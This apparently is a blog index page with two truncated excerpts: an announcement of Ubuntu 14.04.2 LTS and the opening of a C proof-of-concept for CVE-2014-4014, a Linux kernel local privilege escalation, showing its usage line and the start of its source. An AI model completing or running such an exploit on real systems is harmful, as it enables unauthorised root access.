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Ubuntu 14.04.2 LTS Released with 3.16 Kernel and Updated Hardware Support

Yesterday Canonical released Ubuntu 14.04.2 which is the second point release of the Ubuntu 14.04 LTS series. Just like every other point release, Ubuntu 14.04.2 brings more hardware supports updates and a number of security updates. This enables you to continue the Ubuntu 14.04 installs on new PCs and leave behind the worries of post-installation […]

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Linux Kernel Local Privilege Escalation PoC

/** * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC * * Vitaly Nikolenko * http://hashcrack.org * * Usage: ./poc [file_path] * * where file_path is the file on which you want to set the sgid bit */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #define STACK_SIZE (1024 * 1024) static char […]

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